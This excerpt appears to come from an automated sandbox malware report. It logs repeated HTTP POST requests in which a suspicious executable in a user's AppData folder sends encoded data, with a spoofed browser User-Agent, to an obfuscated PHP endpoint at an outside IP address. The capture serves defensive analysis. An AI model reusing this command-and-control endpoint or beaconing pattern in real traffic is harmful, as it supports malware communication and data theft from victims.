                                                            Jul 10, 2024 09:07:32.417536974 CEST2548OUTData Raw: 56 52 54 51 5f 5f 55 5e 59 59 51 58 52 5c 56 54 57 56 5d 58 5a 5f 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTQ__U^YYQXR\VTWV]XZ_U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[/!:"#1((T4"$<)3".(W1(9?Q#,#F".[ 4
                                                            Jul 10, 2024 09:07:32.767489910 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:32.769777060 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:32 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            99192.168.2.449842193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:32.892246008 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:32.892304897 CEST2548OUTData Raw: 56 53 51 51 5f 5c 50 5c 59 59 51 58 52 5b 56 52 57 51 5d 59 5a 5c 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSQQ_\P\YYQXR[VRWQ]YZ\UZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/Z. **47_? 7&'/$V= 7= W%(6F(Q /#F".[ (
                                                            Jul 10, 2024 09:07:33.577004910 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:33.591466904 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:33 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            100192.168.2.449843193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:33.717663050 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:34.074086905 CEST2548OUTData Raw: 53 51 54 5c 5a 5c 50 5d 59 59 51 58 52 59 56 54 57 55 5d 5a 5a 5c 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQT\Z\P]YYQXRYVTWU]ZZ\U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',Z6")"1'Z(#U#'*0<)804U$8>@+7Z,%#F".[
                                                            Jul 10, 2024 09:07:34.414361954 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:34.420438051 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:34 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            101192.168.2.449844193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:34.551229000 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:34.902084112 CEST2548OUTData Raw: 53 57 54 56 5f 5a 55 5c 59 59 51 58 52 5c 56 52 57 5c 5d 59 5a 5f 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTV_ZU\YYQXR\VRW\]YZ_U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',,="9^ "Z+3W45&< U)(#Z">/1(!<[;#F".[ 4
                                                            Jul 10, 2024 09:07:35.211199999 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:35.215312958 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:35 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            102192.168.2.449845193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:35.343461037 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:35.698872089 CEST2548OUTData Raw: 56 5d 51 51 5a 59 55 5d 59 59 51 58 52 5c 56 53 57 54 5d 5f 5a 5e 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]QQZYU]YYQXR\VSWT]_Z^UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[8)"9#2(=3 $&'7*837=%(47/#F".[ 4
                                                            Jul 10, 2024 09:07:36.043706894 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 33 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:35 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            103192.168.2.449846193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:36.181705952 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:36.527152061 CEST2548OUTData Raw: 56 5d 54 5c 5a 5c 50 5c 59 59 51 58 52 50 56 50 57 54 5d 58 5a 5f 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]T\Z\P\YYQXRPVPWT]XZ_U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z.<&5)7^++V"$5[&</(;X7=0T$;@?7,5#F".[
                                                            Jul 10, 2024 09:07:36.885432959 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:36.887537003 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:36 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            104192.168.2.449847193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:37.021815062 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:37.370914936 CEST2548OUTData Raw: 53 55 54 50 5f 5f 50 5e 59 59 51 58 52 5b 56 56 57 55 5d 53 5a 5f 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUTP__P^YYQXR[VVWU]SZ_U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';,.S5:!#<+=/ $)X$<#((( 4R&)?'7_/%#F".[ (
                                                            Jul 10, 2024 09:07:37.696738005 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:37.708703995 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:37 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            105192.168.2.449848193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:37.843225002 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:38.199033976 CEST2548OUTData Raw: 56 54 51 56 5a 5b 55 59 59 59 51 58 52 5f 56 55 57 53 5d 5e 5a 51 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQVZ[UYYYQXR_VUWS]^ZQU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/,& *:7!(<$ !['<?)] 4418=+748#F".[
                                                            Jul 10, 2024 09:07:38.509381056 CEST25INHTTP/1.1 100 Continue


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            106192.168.2.449849193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:37.845602036 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:38.198905945 CEST1884OUTData Raw: 56 5d 51 56 5f 5c 55 5c 59 59 51 58 52 51 56 54 57 53 5d 5d 5a 58 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]QV_\U\YYQXRQVTWS]]ZXU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/>S" 1#Z<7W74)\0<7=;#\77&9+^/%#F".[
                                                            Jul 10, 2024 09:07:38.510260105 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:38.524885893 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:38 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            107192.168.2.449850193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:38.657138109 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:38.657139063 CEST2548OUTData Raw: 56 5c 51 55 5a 5f 50 5b 59 59 51 58 52 51 56 50 57 5d 5d 5b 5a 5c 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QUZ_P[YYQXRQVPW]][Z\UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;"V!)2"2'^+4'63/'>]+Z -&"@+4.5#F".[
                                                            Jul 10, 2024 09:07:39.328960896 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:39.333683014 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:39 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            108192.168.2.449851193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:39.464986086 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:39.824150085 CEST2548OUTData Raw: 53 57 51 57 5a 5e 55 59 59 59 51 58 52 5c 56 50 57 54 5d 5e 5a 51 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWQWZ^UYYYQXR\VPWT]^ZQU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/!59Y#1()='U *&,S((3 %]5?'[,%#F".[ 4
                                                            Jul 10, 2024 09:07:40.148793936 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:40.152805090 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:40 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            109192.168.2.449852193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:40.283359051 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:40.636575937 CEST2548OUTData Raw: 56 56 51 55 5f 52 50 5e 59 59 51 58 52 5b 56 56 57 50 5d 5c 5a 5a 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVQU_RP^YYQXR[VVWP]\ZZUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X8%5:) ?<.;4$<,W*".(&@+'_/#F".[ (
                                                            Jul 10, 2024 09:07:41.009469032 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:41.015120029 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:40 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            110192.168.2.449853193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:41.144332886 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:41.495939970 CEST2548OUTData Raw: 56 5c 54 55 5f 5b 50 59 59 59 51 58 52 51 56 56 57 55 5d 5d 5a 5d 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\TU_[PYYYQXRQVVWU]]Z]UY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$],2W6&7Z+X3490,*83#=,U&"<$;#F".[
                                                            Jul 10, 2024 09:07:41.805481911 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:41.811350107 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:41 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            111192.168.2.449854193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:42.021210909 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:42.375538111 CEST2548OUTData Raw: 56 50 54 57 5a 5c 55 5f 59 59 51 58 52 5f 56 5b 57 5c 5d 53 5a 50 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPTWZ\U_YYQXR_V[W\]SZPU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.?5!9Y7!#? Y0Z<R)80 [ S%]>F<778#F".[
                                                            Jul 10, 2024 09:07:42.683199883 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:42.687679052 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:42 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            112192.168.2.449855193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:42.812908888 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:43.168010950 CEST2548OUTData Raw: 56 54 51 52 5f 59 55 5d 59 59 51 58 52 5d 56 57 57 56 5d 5b 5a 5e 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQR_YU]YYQXR]VWWV][Z^U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'8<S6::#28(-'#B)Z$Z#)07>(T$+<Q+^/5#F".[ 0
                                                            Jul 10, 2024 09:07:43.480854988 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:43.486278057 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:43 GMT
